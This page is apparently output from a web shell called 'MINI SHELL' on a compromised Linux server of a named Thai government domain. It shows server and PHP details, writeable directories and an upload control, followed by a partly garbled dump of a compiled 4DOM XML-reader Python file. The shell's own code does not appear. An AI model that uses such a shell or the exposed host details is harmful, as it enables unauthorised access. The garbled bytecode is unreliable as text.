MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/dom/ext/reader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/dom/ext/reader/Sax.pyo
m
m>c@s>dZdkZdkZdkZdkZdklZlZlZdk	l
Z
lZlZdk	lZlZdk	l
Z
dklZlZdklZdeifd	YZd
eifdYZddddedd
ZddddeddZddddeddZddddeddZdS(s
Components for reading XML files from a SAX producer.
WWW: http://4suite.com/4DOM         e-mail: support@4suite.com

Copyright (c) 2000 Fourthought Inc, USA.   All Rights Reserved.
See  http://4suite.com/COPYRIGHT  for license and copyright information
N(ssaxlibssaxextssdrivers(sEntitysDocumentTypesDocument(sDocumentTypesDocument(simplementation(s
SplitQNamesReleaseNode(sreadertXmlDomGeneratorcBstZddZddZdZdZdZdZdZ	d	Z
d
ZdZdZ
d
ZdZRS(NicCs
||_dS(N(t	keepAllWstselft
_keepAllWs(RR((t?/usr/lib/python2.4/site-packages/_xmlplus/dom/ext/reader/Sax.pyt__init__s	cCs|djo=tiddd}tidd||_|i|_n||_|ii	|_g|_
|i
i|id|_dS(s
        If None is passed in as the doc, set up an empty document to act
        as owner and also add all elements to this document
        tN(
townerDoctNonetimplementationtcreateDocumentTypetdttcreateDocumentRt	_ownerDoct	_rootNodetcreateDocumentFragmentt
_nodeStacktappendt	_currText(RRR((Rt	initStates
			cCs|i|iS(N(Rt_completeTextNodeR(R((RtgetRootNode/s
cCsD|io6|ii|i}|idi|d|_ndS(NiR(RRR
tcreateTextNodetnew_textRtappendChild(RR((RR3s
cCs8|ii|i|||}|iiii	|dS(N(
RR
tcreateNotationtpublicIdtsystemIdtnametnew_notationtdocumentTypet	notationstsetNamedItem(RRRRR((RtnotationDecl:scCs5ti|i|||}|iii	i
|dS(N(R	tcreateEntityRR
RRtnotationNameRRtentitiesR (RRRRR#R((RtunparsedEntityDecl>scCs7|i|ii||}|idi|dS(Ni(	RRR
tcreateProcessingInstructionttargettdatatpRR(RR'R(R)((RtprocessingInstructionCs
cCs[|i|ii|}x(|iD]}|i	|||q)W|i
i|dS(N(RRR
t
createElementRtnew_elementtattribstkeystcurr_attrib_keytsetAttributeRR(RRR-R/R,((RtstartElementHs

	cCs9|i|id}|id=|idi|dS(Ni(RRRR,R(RRR,((Rt
endElementSs


cCs-|io|i||||!|_ndS(s
        If 'keepAllWs' permits, add ignorable white-space as a text node.
        A Document node cannot contain text nodes directly.
        If the white-space occurs outside the root element, there is no place
        for it in the DOM and it must be discarded.
        N(RRRtchtstarttlength(RR3R4R5((RtignorableWhitespaceYs
cCs|i||||!|_dS(N(RRR3R4R5(RR3R4R5((Rt
characterscscCs
|dS(N(t	exception(RR8((RterrorjscCs
|dS(N(R8(RR8((Rt
fatalErrorms(t__name__t
__module__RRRRRR!R%R*R1R2R6R7R9R:(((RRs								
		tReadercBs5tZdddeddZdZddZRS(NicCs|p$|otiip
tii|_|o9dkl	}|i
||i}|ii
|n|||_|ii|i|ii|i|ii|idS(N(scatalog(tparsertvalidatetsaxextstXMLValParserFactorytmake_parsertXMLParserFactoryRtcatNametxml.parsers.xmlproctcatalogtSAX_catalogtCatParserFactorytcat_handlertsetEntityResolvertsaxHandlerClassRthandlertsetDocumentHandlert
setDTDHandlertsetErrorHandler(RR?RRDRKR>RIRF((RRrs0
cCst|dS(N(tReleaseNodetnode(RRQ((RtreleaseNodescCs0|iid||ii||iiS(NR(RRLRt
ownerDocumentR>t	parseFiletstreamR(RRURS((Rt
fromStreams(R;R<RRRRRRV(((RR=qs	icCs(t|||||}|i||S(N(
R=R?RRDRKR>treaderRVRURS(RURSR?RRDRKR>RW((Rt
FromXmlStreamsc	Cs1ti|}t|||||||}|S(N(t	cStringIOtStringIOttexttfpRXRSR?RRDRKR>trv(	R[RSR?RRDRKR>R\R]((RtFromXmlsc	CsCt|d}z"t|||||||}Wd|iX|S(Ntr(topentfileNameR\RXRSR?RRDRKR>R]tclose(	RaRSR?RRDRKR>R\R]((RtFromXmlFilesc	CsCti|}z"t|||||||}Wd|iX|S(N(
turllib2turlopenturlR\RXRSR?RRDRKR>R]Rb(	RfRSR?RRDRKR>R\R]((Rt
FromXmlUrls(t__doc__tsyststringRYRdtxml.saxtsaxlibR@tdriverstxml.domtEntitytDocumentTypetDocumentR	txml.dom.extt
SplitQNameRPRWtHandlerBaseRR=RRXR^RcRg(RWRYRR^RjR	RmRpRdRcRoRiRsRlRgRXR@RqRPR=((Rt?s$

[

Anon7 - 2021